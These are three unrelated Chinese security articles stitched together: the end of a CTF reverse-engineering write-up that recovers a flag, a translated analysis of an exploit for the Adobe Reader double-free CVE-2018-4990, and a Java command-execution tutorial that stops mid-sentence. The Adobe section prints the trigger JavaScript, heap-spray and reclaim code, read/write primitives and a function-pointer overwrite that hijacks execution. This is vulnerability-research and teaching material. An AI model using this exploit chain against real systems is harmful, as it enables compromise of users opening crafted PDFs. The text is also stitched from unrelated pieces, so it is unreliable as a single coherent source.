*(_DWORD *)(a5 - 16) = a2;
*(_DWORD *)(a5 - 20) = a6;
*(_DWORD *)(a5 - 24) = a7;
if ( *(_DWORD *)(a5 - 4) == 1466715468
&& *(_DWORD *)(a5 - 8) == 794374773
&& *(_DWORD *)(a5 - 12) == 1664641876
&& *(_DWORD *)(a5 - 16) == 727266099
&& *(_DWORD *)(a5 - 20) == 1984706644 )
{
*(_DWORD *)(a5 - 24);
}
return main(a8, a9, a10);
}
程序实际有四个参数。。。动态调试一下发现程序wsprintf的返回处写入了401360
程序在401360处触发了异常
由于接下来需要解析的dll函数比较多于是我们在windbg中进行调试
#### 异常处理流程
1.由于该异常是用户态异常，KiDispatchException会试图将异常分发给用户态的调试器，如果DebugPort不为空，将异常发送给调试子系统，调试子系统将异常发送给调试器，如果处理了异常分发结束。
2.如果调试器没有处理该异常，KiDispatchException修改用户态栈，返回用户层之后执行KiUserExceptionDispatcher，此函数会调用RtlDispatchException来寻找异常处理器，首先遍历VEH，然后遍历SEH。如果RtlDispatchException返回FALSE，并且当前进程在被调试，那么KiUserExceptionDispatcher会调用ZwRaiseException并将FirstChance设置为FALSE，进行第二轮分发。如果没有被调试，结束进程。将异常发送给调试子系统，调试子系统将异常发送给调试器，如果处理了异常分发结束。
3.ZwRaiseException会通过内核服务NtRaiseException把异常传递给KiDispatchException来进行分发。第二次，将异常传递给调试器，如果没有处理将异常分配给ExceptionPort异常端口监听者处理，如果返回FALSE，结束进程。
#### 调试程序
首先我们先在 _KiUserDispatcher_ 上下断点。
首先判断是32位异常还是64位异常。继续往下走调用*RtlDisPatchException寻找异常处理器，进入该函数，程序跳转到4016000(程序应该是hook了KiUserExceptionDispatcher中的调用异常handler的call)。
void __usercall sub_401600(int a1@<ecx>, int a2@<ebx>)
{
int v2; // eax
unsigned int v3; // et0
signed int v4; // ecx
unsigned int v5; // [esp-24h] [ebp-2Ch]
v2 = a1 + 160;
if ( *(__int16 **)(a2 + 12) == &word_401372 )
{
v3 = __readeflags();
v5 = v3;
v4 = 4;
do
{
*(_DWORD *)(a2 + 4 * v4 + 16) = *(_DWORD *)(v2 + 4 * v4) ^ __ROL4__(*(_DWORD *)(v2 + 4 * v4 - 4), 5);
--v4;
}
while ( v4 );
*(_DWORD *)(a2 + 24) ^= *(_DWORD *)(a2 + 20);
*(_DWORD *)(a2 + 20) ^= *(_DWORD *)(a2 + 24);
*(_DWORD *)(a2 + 24) ^= *(_DWORD *)(a2 + 20);
*(_DWORD *)(a2 + 28) ^= *(_DWORD *)(a2 + 20);
*(_DWORD *)(a2 + 20) ^= *(_DWORD *)(a2 + 28);
*(_DWORD *)(a2 + 28) ^= *(_DWORD *)(a2 + 20);
*(_DWORD *)(a2 + 32) ^= *(_DWORD *)(a2 + 24);
*(_DWORD *)(a2 + 24) ^= *(_DWORD *)(a2 + 32);
*(_DWORD *)(a2 + 32) ^= *(_DWORD *)(a2 + 24);
__writeeflags(v5);
AddVectoredExceptionHandler(0, Handler);
}
JUMPOUT(__CS__, (char *)lpAddress + 5);
}
将字符串拆分成四组
第四组循环左移5位之后与0x797963异或存入内存中
取第三组循环左移5位与第四组（输入的最后4个）异或存入内存中
取第二组循环左移5位与第三组异或存入内存中
取第一组循环左移5位与第二组异或存入内存中
之后四组数据又相互异或，设这四组数据位 o p q r
p=p^o
o=o^(p^o)=p
p=p^o^p=o
q=q^p
o=p^(q^p)=q
q=(q^p)^q=p
r=r^o
p=o^(r^o)=r
r=(r^o)^r=o
总的来说四个值进行了互换
#### VEH分析
这里调用了VEH向量
继续向下运行对VEHAdress进行了Decode
执行完之后发现其返回值EAX为0x401570
继续向下走到调用0x401750的函数
跟进VEH函数，在IDA中查看VEH函数
LONG __stdcall Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)
{
UINT_PTR *v1; // eax
UINT_PTR *v2; // ecx
_DWORD *v3; // edx
int v4; // eax
v1 = (UINT_PTR *)sub_401110(0x10u, (int)ExceptionInfo->ExceptionRecord->ExceptionInformation);
v2 = ExceptionInfo->ExceptionRecord->ExceptionInformation;
*v2 = *v1;
v2[1] = v1[1];
v2[2] = v1[2];
v2[3] = v1[3];
v2[4] = v1[4];
v2[5] = v1[5];
v3 = *(_DWORD **)(__readfsdword(0x18u) + 8);
dword_41F304 = (int)v3;
*v3 = v4;
v3[1] = sub_401550;
return 0;
}
进入函数401110进行base64加密，但是字母表发生了变化
{
unsigned int v2; // ST10_4
_BYTE *v3; // ST1C_4
_BYTE *v4; // ST1C_4
_BYTE *v5; // ST1C_4
_BYTE *v7; // [esp+0h] [ebp-18h]
unsigned int v8; // [esp+Ch] [ebp-Ch]
unsigned int i; // [esp+10h] [ebp-8h]
_BYTE *v10; // [esp+14h] [ebp-4h]
_BYTE *v11; // [esp+14h] [ebp-4h]
v10 = calloc(4 * (a1 / 3) + 5, 1u);
v7 = v10;
for ( i = 0; i < 3 * (a1 / 3); i += 3 )
{
LOBYTE(v2) = *(_BYTE *)(i + a2 + 2);
BYTE1(v2) = *(_BYTE *)(i + a2 + 1);
HIWORD(v2) = *(unsigned __int8 *)(i + a2);
*v10 = byte_41E8B0[(v2 >> 18) & 0x3F];
v3 = v10 + 1;
*v3++ = byte_41E8B0[(v2 >> 12) & 0x3F];
*v3++ = byte_41E8B0[(v2 >> 6) & 0x3F];
*v3 = byte_41E8B0[v2 & 0x3F];
v10 = v3 + 1;
}
if ( a1 != i )
{
LOWORD(v8) = 0;
HIBYTE(v8) = 0;
if ( a1 - i == 2 )
{
BYTE1(v8) = *(_BYTE *)(i + a2 + 1);
BYTE2(v8) = *(_BYTE *)(i + a2);
*v10 = byte_41E8B0[(v8 >> 18) & 0x3F];
v4 = v10 + 1;
*v4 = byte_41E8B0[(v8 >> 12) & 0x3F];
v11 = v4 + 1;
*v11 = byte_41E8B0[(v8 >> 6) & 0x3F];
}
else
{
BYTE2(v8) = *(_BYTE *)(i + a2);
*v10 = byte_41E8B0[(v8 >> 18) & 0x3F];
v5 = v10 + 1;
*v5 = byte_41E8B0[(v8 >> 12) & 0x3F];
v11 = v5 + 1;
*v11 = 61;
}
v11[1] = 61;
}
return v7;
}
gu执行函数至返回，判断VEH是否处理完，若处没有处理完则跳转，继续处理剩余的VEH
#### SEH分析
继续向下走检验SEHhandler的地址是否合法，如果合法则进行跳转否则一直循环直到倒数第二个SEH进行内部调用call
UnhandledExceptionFilter进行处理，如果还不能处理就停止运行：
显然这个SEH是合法的，我们继续跟进RtlExcuteHandlerForException,这里对SEHHandler进行调用
函数执行401550，跟进函数
执行函数setUnhandExceptionFilter用来捕获这个异常，而处理异常的函数就为TopLevelException
signed int sub_401550()
{
lpTopLevelExceptionFilter = SetUnhandledExceptionFilter(TopLevelExceptionFilter);
return 1;
}
SEH一次执行完之后，进行判断是否处理好了异常 eax=1,显然没有执行好
之后又执行了下一个SEH，这次SEH执行的程序如下
int __cdecl SEH_4158F0(PEXCEPTION_RECORD ExceptionRecord, PVOID TargetFrame, int a3)
{
_DWORD *v3; // esi
_DWORD *v4; // ebx
int v5; // edi
int v6; // eax
int (__fastcall *v7)(_DWORD, _DWORD); // ecx
int *v8; // eax
int v9; // ebx
int v10; // eax
char v11; // cl
EXCEPTION_RECORD *v12; // eax
void (*v13)(void); // esi
PEXCEPTION_RECORD v15; // [esp+Ch] [ebp-1Ch]
int v16; // [esp+10h] [ebp-18h]
char *v17; // [esp+14h] [ebp-14h]
int *v18; // [esp+18h] [ebp-10h]
int v19; // [esp+1Ch] [ebp-Ch]
_DWORD *v20; // [esp+20h] [ebp-8h]
char v21; // [esp+27h] [ebp-1h]
v3 = TargetFrame;
v21 = 0;
v19 = 1;
v4 = (_DWORD *)(__security_cookie ^ *((_DWORD *)TargetFrame + 2));
v17 = (char *)TargetFrame + 16;
v20 = v4;
ValidateLocalCookies(v4, (int)TargetFrame + 16);
nullsub_1(a3);
if ( ExceptionRecord->ExceptionFlags & 0x66 )
{
if ( *((_DWORD *)TargetFrame + 3) != -2 )
{
_EH4_LocalUnwind((int)TargetFrame, -2, (int)TargetFrame + 16, (int)&__security_cookie);
goto LABEL_21;
}
}
else
{
v15 = ExceptionRecord;
v16 = a3;
v5 = *((_DWORD *)TargetFrame + 3);
*((_DWORD *)TargetFrame - 1) = &v15;
if ( v5 != -2 )
{
while ( 1 )
{
v6 = v5 + 2 * (v5 + 2);
v7 = (int (__fastcall *)(_DWORD, _DWORD))v4[v6 + 1];
v8 = &v4[v6];
v9 = *v8;
v18 = v8;
if ( v7 )
{
v10 = _EH4_CallFilterFunc(v7);
v11 = 1;
v21 = 1;
if ( v10 < 0 )
{
v4 = v20;
v19 = 0;
goto LABEL_21;
}
if ( v10 > 0 )
{
v12 = ExceptionRecord;
if ( ExceptionRecord->ExceptionCode == -529697949 && dword_41F32C )
{
if ( _IsNonwritableInCurrentImage(&dword_41F32C) )
{
v13 = (void (*)(void))dword_41F32C;
j_nullsub_1(dword_41F32C, ExceptionRecord, 1);
v13();
v3 = TargetFrame;
}
v12 = ExceptionRecord;
}
_EH4_GlobalUnwind2(v3, v12);
if ( v3[3] != v5 )
_EH4_LocalUnwind((int)v3, v5, (int)(v3 + 4), (int)&__security_cookie);
v3[3] = v9;
ValidateLocalCookies(v20, (int)(v3 + 4));
_EH4_TransferToHandler(v18[2], v3 + 4);
__debugbreak();
JUMPOUT(*(_DWORD *)__vcrt_initialize);
}
}
else
{
v11 = v21;
}
v5 = v9;
if ( v9 == -2 )
break;
v4 = v20;
}
if ( v11 )
{
v4 = v20;
LABEL_21:
ValidateLocalCookies(v4, (int)v17);
return v19;
}
}
}
return v19;
}
函数很长，然而真正要执行的函数TransferHandler中，但是在本题中由于执行了异常过滤（_EH4_CallFilterFunc），使得SEH没有执行，SEH依然没有执行好
继续分析下一个SEH，为except_handler4 跟进之后为 ntdll!_except_handler4_common ，再进入这个函数找到函数
ntdll!_EH4_CallFilterFunc 跟进这个SEH
#### call UnhandledExceptionFilter
再继续向下走进入RtlUserThreadStart+0x398a7
跟进去，继续走再跟进这个函数UnhandledExceptionFilter，而如果这个函数不能处理就停止运行
继续向下运行，这里判断查询是否有DebugPort，如果有调试器则把异常给调试器处理，否则则执行TopLevelExceptionHandle进行处理
程序的正常执行流程必然是没有经过调试，而此处交给了调试器处理，使得程序无法进入正常回调，因此我们需要将此处返回值eax（1）修改为0（r
@eax=0）继续向下走，找到了执行了TopLevelExceptionHandler（0x401470）的地方
LONG __stdcall TopLevelExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo)
{
ExceptionInfo->ContextRecord->Eax = ExceptionInfo->ExceptionRecord->ExceptionInformation[0];
ExceptionInfo->ContextRecord->Ebx = ExceptionInfo->ExceptionRecord->ExceptionInformation[1];
ExceptionInfo->ContextRecord->Ecx = ExceptionInfo->ExceptionRecord->ExceptionInformation[2];
ExceptionInfo->ContextRecord->Edx = ExceptionInfo->ExceptionRecord->ExceptionInformation[3];
ExceptionInfo->ContextRecord->Edi = ExceptionInfo->ExceptionRecord->ExceptionInformation[4];
ExceptionInfo->ContextRecord->Esi = ExceptionInfo->ExceptionRecord->ExceptionInformation[5];
ExceptionInfo->ContextRecord->Eip = (DWORD)sub_401390;
SetUnhandledExceptionFilter(lpTopLevelExceptionFilter);
RemoveVectoredExceptionHandler(Handler);
return -1;
}
TopLevelExceptionFilter中先设置各个寄存器的值。
接着设置异常处理函数lpTopLevelExceptionFilter(0x41f308)函数直接返回,并且将VEH删除
此时SEH处理完毕
我们继续走程序走到正常的异常回调
然而前面TOPLevelException函数中有一句 ExceptionInfo->ContextRecord->Eip =
(DWORD)sub_401390，设置eip为0x401360
使得NtContinue之后返回401390进行判断
int __usercall sub_401390@<eax>(int a1@<eax>, int a2@<edx>, int a3@<ecx>, int a4@<ebx>, int a5@<ebp>, int a6@<edi>, int a7@<esi>, int a8, const char **a9, const char **a10)
{
*(_DWORD *)(a5 - 4) = a1;
*(_DWORD *)(a5 - 8) = a4;
*(_DWORD *)(a5 - 12) = a3;
*(_DWORD *)(a5 - 16) = a2;
*(_DWORD *)(a5 - 20) = a6;
*(_DWORD *)(a5 - 24) = a7;
if ( *(_DWORD *)(a5 - 4) == 'WlML'
&& *(_DWORD *)(a5 - 8) == '/Y2u'
&& *(_DWORD *)(a5 - 12) == 'c8kT'
&& *(_DWORD *)(a5 - 16) == '+Y33'
&& *(_DWORD *)(a5 - 20) == 'vL8T' )
{
*(_DWORD *)(a5 - 24);
}
return main(a8, a9, a10);
}
这一段字符进行比较判断。
总体来说程序的加密流程为，4轮异或，再进行base64加密，但是最后加密生成的数据应为18个字符带两个'='字符,解密只能解密前15个字符，但是还需注意的是字母表进行了变换，新字母表为
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/
先进行base64解密
import binascii
base64_table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
base_encode=str(raw_input(u"请输入解密字符"))
counter=base_encode.count("=")
length=len(base_encode)
encode=""
encode_re=""
if(counter==2):
a=base64_table.find(base_encode[length-4:length-3])#取前六位
a=a<<2
b=base64_table.find(base_encode[length-3:length-2])#取2位
b=b>>4
encode_re=chr(a+b)
if(counter==1):
a=base64_table.find(base_encode[length-4:length-3])#第一个字符前6位
a=a<<2
b=base64_table.find(base_encode[length-3:length-2])#第二个字符前2位
b=b>>4
encode_re1=chr(a+b)
a=base64_table.find(base_encode[length-3:length-2])#第二个字符后4位
a=(a&0xf)<<4
b=base64_table.find(base_encode[length-2:length-1])#第三个字符前4位
b=b>>2
encode_re2=chr(a+b)
encode_re=encode_re1+encode_re2
length=length-4
if(counter==0):
length=length+4
for i in range(0,length,4):#以4个字符为一组
a=base64_table.find(base_encode[i:i+1])#第一个字符6位
a=a<<2
b=base64_table.find(base_encode[i+1:i+2])#第二个字符前2位
b=b>>4
encode=encode+chr(a+b)
a=base64_table.find(base_encode[i+1:i+2])#第二个字符后4位
a=((a&0xf)<<4)
b=base64_table.find(base_encode[i+2:i+3])#第三个字符前4位
b=b>>2
encode=encode+chr(a+b)
a=base64_table.find(base_encode[i+2:i+3])#取第三个字符后2位
a=(a&3)<<6
b=base64_table.find(base_encode[i+3:i+4])#取第四个字符6位
encode=encode+chr(a+b)
encode=encode+encode_re
print( binascii.b2a_hex(encode))
print('\n')
得到结果9662f053 6cbfb4af 02df7cbe b7c955?? 最后一个字符的ASCII码无法确定（分别对应着q,r,p,o）
(afb4bf6c)^797963再循环右移5位得到7d7e6e30（}~n0）
(53f06296)^7d7e6e30在循环右移得到31747065(1tpe)
(be7cdf02)^31747065循环右移5位3c78457b（<xE{）
最后一组虽然无法解密但是可以推测位flag
最终flag为flag{Ex<ept10n~}
#### 总结：
32位异常正常的处理流程如下
1.KiUserDispatcher中判断是64位异常还是32位异常
2.VEH链处理
3.SEH链处理，倒数第二个SEH CALL UnHandledExceptionFliter
(会调用NtQueryInformationProcess查询DebugPort)，然后调用TopLevelExceptionFilter处理
4.zwcontinue进行返回 | 社区文章 |
# Adobe双重释放安全漏洞(CVE-2018-4990)的0day利用样本分析
|
##### 译文声明
本文是翻译文章，文章来源：https://srcincite.io/
原文地址：<https://srcincite.io/blog/2018/05/21/adobe-me-and-a-double-free.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近，我刚刚得到了CVE-2018-4990的漏洞利用样本，这是一个影响Acrobat
Reader的0-Day漏洞，在近期，Adobe发布了APSB18-09补丁包（
<https://helpx.adobe.com/security/products/acrobat/apsb18-09.html>
）对该漏洞进行了修复。来自ESET的Anton Cherepanov（
<https://www.welivesecurity.com/author/acherepanov/>
）前几天写过一篇关于该漏洞的文章《两个0-Day漏洞的故事》（
<https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/>
），这是一篇不错的分析，但对于我来说，该篇文章却缺少了一些重要的东西，比如双重释放是如何被实际利用的。
在本文中，我将主要分析攻击者如何利用该漏洞，通过一个特殊的JPEG2000图像而触发Acrobat Reader双重释放（Double Free）漏洞。
## 概述
目前，能够在野外发现Acrobat
Reader的漏洞是一件非常罕见的事情。因此，我决定对这一漏洞利用样本进行分析。本文中所涉及的所有分析过程是在v2018.011.20035版本的AcroRd32.exe
（c4c6f8680efeedafa4bb7a71d1a6f0cd37529ffc）下完成的。除该版本之外，目前已知其他版本也受到此漏洞的影响，具体请参阅Adobe的公告APSB18-09（
<https://helpx.adobe.com/security/products/acrobat/apsb18-09.html> ）了解更多详情。
## 深入漏洞的根源
在PDF中，由于有许多对象被压缩，因此也就隐藏了例如JavaScript和图像之类的真正功能，因此我需要做的第一件事，就是对PDF进行解压缩。我喜欢使用PDF
Toolkit（ <https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/>
），因为它是以命令行的方式来使用的。
c:> pdftk 4b672deae5c1231ea20ea70b0bf091164ef0b939e2cf4d142d31916a169e8e01 output poc.pdf uncompress
由于我没有JPEG2000图像的原始样本，因此我并不知道该图像是否已经被位反转（Bitflipped）过，因此我在这里只能对JavaScript进行深入研究。在忽略掉JavaScript的其他部分之后，我们发现了下面代码，可以触发双重释放：
function trigger(){
var f1 = this.getField("Button1");
if(f1){
f1.display = display.visible;
}
}
trigger();
JavaScript来源于根结点触发的OpenAction：
1 0 obj
<<
/Length 133
>>
stream
function trigger(){
var f1 = this.getField("Button1");
if(f1){
f1.display = display.visible;
}
}
trigger();
endstream
endobj
...
5 0 obj
<<
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 6 0 R
/AcroForm 7 0 R
/Type /Catalog
>>
endobj
6 0 obj
<<
/JS 1 0 R
/Type /Action
/S /JavaScript
>>
endobj
...
trailer
<<
/Root 5 0 R
/Size 39
>>
在启用页堆（Page Heap）和用户模式栈跟踪（User-mode Stack Traces）的情况下，我们会得到以下崩溃信息：
(a48.1538): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=020e0000 edi=020e0000
eip=66886e88 esp=0022a028 ebp=0022a074 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
66886e88 813abbbbcdab cmp dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv
ChildEBP RetAddr Args to Child
0022a074 66886f95 020e1000 d0d0d0d0 020e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
0022a098 66887240 020e1000 d0d0d0d0 0022a108 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
0022a0b4 66889080 020e1000 d0d0d0d0 0078d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
0022a0d0 777969cc 020e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
0022a118 77759e07 020e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
0022a20c 777263a6 00000000 d0d0d0d0 387e2f98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
0022a22c 7595c614 020e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
0022a240 5df7ecfa 020e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderJP2KLib.dll -
0022a254 667d0574 d0d0d0d0 7ea9257c 69616fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:ddvctoolscrtcrtw32heapfree.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
0022a374 667e6482 35588fb8 4380cfd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderAcroRd32.dll -
0022a3cc 511d6cfc 36496e88 68d96fd0 4380cfd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0022a454 511d8696 3570afa8 69616fac 3570afa8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261843
0022a4b4 511cd785 69616fac 0022a4d4 511d6640 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2631dd
0022a4c0 511d6640 69616fac 462f6f70 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2582cc
0022a4d4 50dc030d 69616fac 41826fd0 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261187
0022a510 50dbf92b c0010000 0000000d 41826fc8 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x7867d
0022a5e0 50dbebc6 0022a988 00000000 60b2d137 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x77c9b
0022a930 50dbeb88 0022a988 45c3aa50 60b2d163 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76f36
0022a964 50dbea71 41826e28 45c3aa50 0022aa1c AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76ef8
0022a9d0 50dbd949 c0010000 0000000d 45c3aa50 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76de1
我们可以看到，释放的调用者是JP2KLib!JP2KCopyRect+0xbae6，接下来让我们深入该函数，来看看第二次释放是在哪里被触发的。
因此，为了触发这一漏洞，会发生如下过程：
1、加载PDF，在一个字段按钮内部解析畸形的JP2K图像，这触发了第一次释放。
2、加载OpenAction，其中包含将访问字段按钮的JavaScript，设置一个属性并触发第二次释放。
这样一来，攻击者就有了一个非常好的机会，能够重用JavaScript中释放的块，以此来通过第二次释放触发一个UAF（Use-After-Free）条件。我认为，如果利用Pwn2own 2017上发表的CVE-2017-3055堆缓冲区溢出漏洞（
<https://www.zerodayinitiative.com/advisories/ZDI-17-280/>
），并在此前或此后执行JavaScript，也是同样可行的。我们知道，有很多漏洞都是通过格式不正确的静态内容和动态内容访问相结合，并对格式不正确的内容进行操纵而触发的。这种类型的模糊方法比较困难，因为不仅仅需要对内容进行模糊处理，还需要对其进行修改和生成，属于较为综合的模糊策略。
### 漏洞利用
在触发漏洞之前，攻击者使用以下JavaScript：
var a = new Array(0x3000);
var spraynum = 0x1000;
var sprayarr = new Array(spraynum);
var spraylen = 0x10000-24;
// force allocations to get a clean heap
for(var i = 1; i < 0x3000; i++){
a[i] = new Uint32Array(252);
}
// alloc to reclaim the freed buffer
for(var i = 1; i < spraynum; i++){
sprayarr[i] = new ArrayBuffer(spraylen);
}
// make holes
for(var i = 1; i < 0x3000; i = i+2){
delete a[i1];
a[i1] = null;
}
基本上，这段代码正在进行的是第一阶段（Stage 1）：
Stage 1 - Prepare Heap Stage 2 - Double Free Stage 3 - Reclaim Freed
+------------------------+ +------------------------+ +------------------------+
| | | | | |
| Bin size: 0x508 | | Bin size: 0x508 | | Bin size: 0x508 |
| | | | | |
| +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | | | | | |
| | Freed | | | | Freed | | | | Freed | |
| | | | | | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ |
| +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | | | | | |
| | Allocated | | | | Allocated | | | | Allocated | |
| | | | | | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ |
| +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | | | | | |
| | Allocated | | +------------> | | Freed | | +------------> | | Freed | |
| | | | | | | | | | chunks | |
| +--------------+ | | +--------------+ | | | coalesced | |
| +--------------+ | | +--------------+ | | | | |
| | | | | | | | | | | |
| | Freed | | | | Freed | | | | | |
| | | | | | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ |
| | | | | |
+------------------------+ +------------------------+ +------------------------+
在代码中，使用for(var i = 1; i < 0x3000; i =
i+2)语句来产生漏洞，其含义是：每进行两次分配，就会触发一次释放。随后，将在分配的一个Slot上触发双重释放。在这时，Windows堆管理器（Windows
Heap Manager）会对这些块进行合并，产生一个0x2000大小的空Slot。
现在，攻击者已经创建了这一利用条件，接下来就可以执行下面的JavaScript代码：
// reclaims the memory, like your typical use after free
for(var i = 1;i < 0x40; i++){
sprayarr2[i] = new ArrayBuffer(0x20000-24);
}
这段代码会从双重释放的内存空间中回收已经释放的内存。并且，因为Slot较大（由于之前的合并），所以需要分配比原来大一倍的空间。在此之后，攻击者已经回收了释放的内存，他们接下来需要找出sprayarr中的哪个ArrayBuffer的大小增加了一倍。
for(var i = 1;i < spraynum; i++){
if( sprayarr[i].byteLength == 0x20000-24){
var biga = new DataView(sprayarr[i1]);
biga.setUint32(0x10000-12,0x66666666);
// +1 because the next reference as a corrupted length now.
if(sprayarr[i+1].byteLength == 0x66666666){
// game over attackers can read/write out of biga
biga = new DataView(sprayarr[i+1]);
...
mydv = biga;
}
现在，在找到所需的ArrayBuffer之后，就可以使用它来覆盖其相邻部分，覆盖的大小也就是ArrayBuffer的字节长度。随后，会检查下一个ArrayBuffer是否具有匹配的字节长度，如果是，就证明它们已经具有完整的读写原语。
function myread(addr){
mydv.setUint32(mypos,addr,true);
var res = myarray[0];
mydv.setUint32(mypos,myarraybase,true);
return res;
}
function mywrite(addr,value){
mydv.setUint32(mypos,addr,true);
myarray[0] = value ;
mydv.setUint32(mypos,myarraybase,true);
}
到了这里，游戏已经结束。本来攻击者只进行了一次数据攻击，但由于Acrobat Reader不具有控制流保护（Control Flow
Guard，CFG），因此他们选择了传统的调用门控制流（Call Gate Control
Flow）。首先，找到EScript.api并得到了DLL的基地址，然后使用一个DLL加载程序存根（DLL Loader
Stub）创建了一个ROP链，重写了书签对象的执行函数指针，最终重定向了执行流。
var bkm = this.bookmarkRoot;
var objescript = 0x23A59BA4 - 0x23800000 + dll_base;
objescript = myread(objescript);
...
mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base);
mywrite(objescript+4,myarraybase);
mywrite(objescript+0x598,0x6b68389f - 0x6b640000 + dll_base);
// adios!
bkm.execute();
## 总结
对于攻击者来说，Adobe Acrobat
Reader仍然是一个很好的目标，因为JavaScript对于ArrayBuffers的控制非常灵活，并且PDF解析过程非常复杂。此外，在操作系统层面上进行缓解只能产生很小的影响，所以Adobe也在努力加固其二进制文件（
/GUARD:CF ），从而使得漏洞开发过程更加艰难。
其实，如果Adobe启用了控制流保护（CFG），并开发一种堆隔离技术（Isolated
Heap），就像他们已经在Flash中采用的措施一样，那么这个漏洞可能会更加难以利用。
如前文所述，我们认为目前这种漏洞利用样本还处于开发阶段，因为在样本中，没有对JavaScript进行任何模糊处理。并且我们认为，在JP2KLib.dll中还存在着更多其他漏洞。
## 参考文章
<https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/> | 社区文章 |
# Java安全之命令执行
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
java安全里无论是反序列化还是什么其他漏洞，要说最终最能体现漏洞价值的话，那就是非命令执行莫属了。这次打算花点时间好好总结整理下java命令执行的几种方式，并做些浅面的分析。最近刚好看到了360BugCloud公众号的一篇java命令执行的调试分析文章，也跟着调试了一遍，期间学到了不少，链接会在文末贴出来。
首先总的的来说，java命令执行可以分为4种方法，分别是
java.lang.Runtime#exec()、java.lang.ProcessBuilder#start()、java.lang.ProcessImpl#start()以及通过JNI的方式调用动态链接库，最后一种方式这篇文章暂不做分析，先看下前面比较常用的三种方法。
## Runtime命令执行
在java反序列化中用到最多的就是Runtime类的exec方法来命令执行了，用法：
Runtime.getRuntime().exec("whoami")
实际上Runtime类的exec的重载方法有6个，如下：
例如本地运行命令ipconfig查看网络配置并返回信息：
InputStream ins = Runtime.getRuntime().exec("ipconfig").getInputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int size;
while(
(size = ins.read(bytes)) > 0)bos.write(bytes,0,size);
System.out.println(bos.toString()
);
但是这里有个问题，在渗透的过程中如果要遇到要写入文件的话，这里使用”echo xxx>test.txt”等类似的命令就会爆出如下的错误：
下面就跟入代码调试查看下具体原因，直接在exec方法处打断点
首先是跳到另外一个exec的重载方法，envp参数为null，file类型的dir参数也为null
接着将我们传入的command字符串带入到StringTokenizer类进行处理，跟入查看下
初始化参数后又调用了setMaxDelimCodePoint方法
跟入到setMaxDelimCodePoint方法后，查看代码
来看最后的处理结果
最后再重新调用了对应的exec重载方法，这里补充一点，最后exec方法最终都会到下面这个类进行处理
跟入到ProcessBuilder#start()方法，首先会先取出cmdarray[0]赋值给prog,这里值为“echo”，到这里我们也知道了其实Runtime.getRuntime().exec()的底层实际上也是ProcessBuilder
接着，后面又调用了ProcessImpl.start()
继续跟入查看ProcessImpl#start方法
接着，后面调用了ProcessImpl的构造方法，再跟入构造方法查看下
跟进ProcessImpl的构建方法后，首先是对系统的配置及环境变量进行检查，比如检测是否允许调用本地进程等配置，接着以cmd[0]为参数创建了一个File对象，然后调用其getPath方法得到路径并赋值给executablePath变量
往下，接着调用needsEscaping()方法对executablePath进行判断，如果其中包含空格，则调用quoteString()方法进行处理；然后调用createCommandLine()把字符串数组拼成字符串，最终的cmdstr为“echo
xxx>test.txt”
最后，再调用了create()方法创建进程，整个过程调试到这里好像也没发现问题所在，原因是最后关键的位置还在create方法创建进程中。
查看该create()方法的代码可看到，这是个native方法，后续是通过调用ProcessImpl_md.c的创建进程的方法来调用调用window系统的API接口，从而完成命令执行等操作。
那么我们的问题该怎么解决呢？还是得回到ProcessImpl_md.c的创建进程的方法中，这方法会对最后的我们传入的cmdstr进行以空格分割，也就是”echo
